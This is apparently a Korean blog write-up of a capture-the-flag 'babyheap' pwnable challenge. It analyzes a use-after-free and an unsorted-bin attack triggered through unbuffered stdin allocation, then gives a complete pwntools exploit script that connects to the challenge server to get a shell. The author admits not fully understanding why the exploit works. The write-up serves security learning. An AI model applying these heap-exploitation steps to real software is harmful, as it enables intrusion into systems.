티스토리 뷰

되게 재미있게 풀면서도 아직도 어떻게 풀었는지는 잘 이해가 가지않는 문제이다.

http://wargame.0x0.site/

 

Gate

Where am I? wargame.0x0.site is a wargame where you can learn about Binary Exploitation (a.k.a Pwnable). You can earn points by submitting flags you got by solving the provided challenges. Useful Information - The flag format is always 0x0{-----}, also alw

wargame.0x0.site

전반적인 취약점은 uba와 stdin buffering이다. + (uaf)

( 함수들은 직접 복구했다. )

function analyze

setting 함수를 보면 stdout만 setvbuf설정을 해준다.

즉 stdin에 buffering이 가능하다는 것이다.

user_read 와 input_num은 간단하게 사용자 정의 함수로 입력을 받는다.

alloc은 malloc해주는 메뉴이다.

힙 포인터를 전역변수 ptr에 박고, !ptr 이면 할당과정을 못하는 것을 보아 힙 할당은 1개만가능해 보인다.

free메뉴이다.

free는 하지만 초기화는 하지않는다. => uaf 취약점

exit 메뉴인데, 일반적인 메뉴와는 다르게 char형을 입력받으며 종료를 확인한다.

여기 쓰이는 입력이 어딘가에 쓰일 것이라고 게싱가능하다.

secret 메뉴인데 size만큼 할당해주고 특정 전역변수에 값이 존재한다면 원샷을 준다.

추가로 두가지 더 살펴보아야 할게 있다.

strdup / stdin

두 가지는 공통점이 있다.

바로 내부 루틴에 의해 heap영역에 메모리를 할당해준다.

strdup

해당 위치에 있는 값 또는 문자열을 복사한다.

복사할 공간을 확보하기 위해서 malloc()이 호출되며, 정상적으로 사용하기 위해선 마지막에 free(ptr)을 해줘야 한다.

strdup으로 인해 &size + 4부터 0x20만큼 메모리를 할당해주고 해당 heap에 복사한다.

stdin

standard input의 약자로서 간단하게 말해서 표준입력을 뜻하는 포인터이다.

해당 내용은 define으로 정의되어있는데 함수의 결괏값을 stdin으로 가진다.

즉 함수를 거친다는 내용인데 해당 함수내에서 malloc이 실행된다.

vuln

stdin의 버퍼링을 setting하지 않아서 해당 취약점이 발생한다.

strdup과 비슷하게 표준 입력을 받으면 메모리를 할당후, 해당 chunk에 표준입력된 값을 넣어준다.

이때 1번 메뉴로 unsorted bin에 충분한 크기로 메모리를 할당 / 해제해준다면,

stdin 루틴을 거칠 때 언솔빈에서 다시 재사용 할거고 uaf 취약점과 uba취약점을 터트려 준다면

victim var에 값을 존재하게 할 수 있을것이다.

strdup

unsorted bin을 할당 해주고 해제를 한다면 결국 top chunk에 병합될 것이다.

착한 출제자는 strdup으로 title을 입력받음으로써 fastbin size의 chunk를 언솔빈과 top chunk사이에 넣어준다.

=> 언솔빈 병합을 없애기 위한 출제자의 의도

exploit flow

1. a chunk 할당

2. a chunk 해제

3. byebye함수로 stdin을 주어서 a chunk 를 재사용

4. 해당 chunk도 다시 free

5. byebye 함수로 다시 stdin을 주어서 bk값 변조

6. hidden옵션으로 쉘 땀

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from LibcSearcher import *
from pwn import *
 
context.log_level = 'debug'
 
#p = process('./babyheap')
= remote('0x0.site',12214)
= ELF('./babyheap')
= e.libc
 
prdi = 0x0000000000400e73 
prsi = 0x0000000000400e71 
 
var = 0x6020C0
def alloc(size, content, title):
    p.recvuntil(': ')
    p.send('1')
    p.recvuntil(': ')
    p.send(str(size))
    p.recvuntil(': ')
    p.send(str(content))
    p.recvuntil(': ')
    p.send(str(title))
 
def fr():
    p.recvuntil(': ')
    p.send('2')
 
def one_shot(size):
    p.recvuntil(': ')
    p.send('31337')
    p.recvuntil(": ")
    p.send(str(size))
 
def bye(content):
    p.recvuntil(': ')
    p.send('3')
    p.recvuntil(': ')
    p.sendline(str(content))
 
alloc(0x1234'a'*1'b'*0x10)
fr()
bye('a'*8)
fr()
bye(p64(var-0x10)*2)
one_shot(0x1234)
 
p.interactive()

 

추가로

정확하게 이해되지 않은 부분이 있다.ㅠㅠ

처음에 힙 size를 작게 했을때 아다리가 안맞고,  double free, corruption이 자꾸 떳는데 

size만 올려도 제대로 익스가 되는 상황이 나왔다. 

stdin 함수와 setvbuf같은 함수들을 분석해서 내부 루틴을 한번 살펴봐야겠다.

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
글 보관함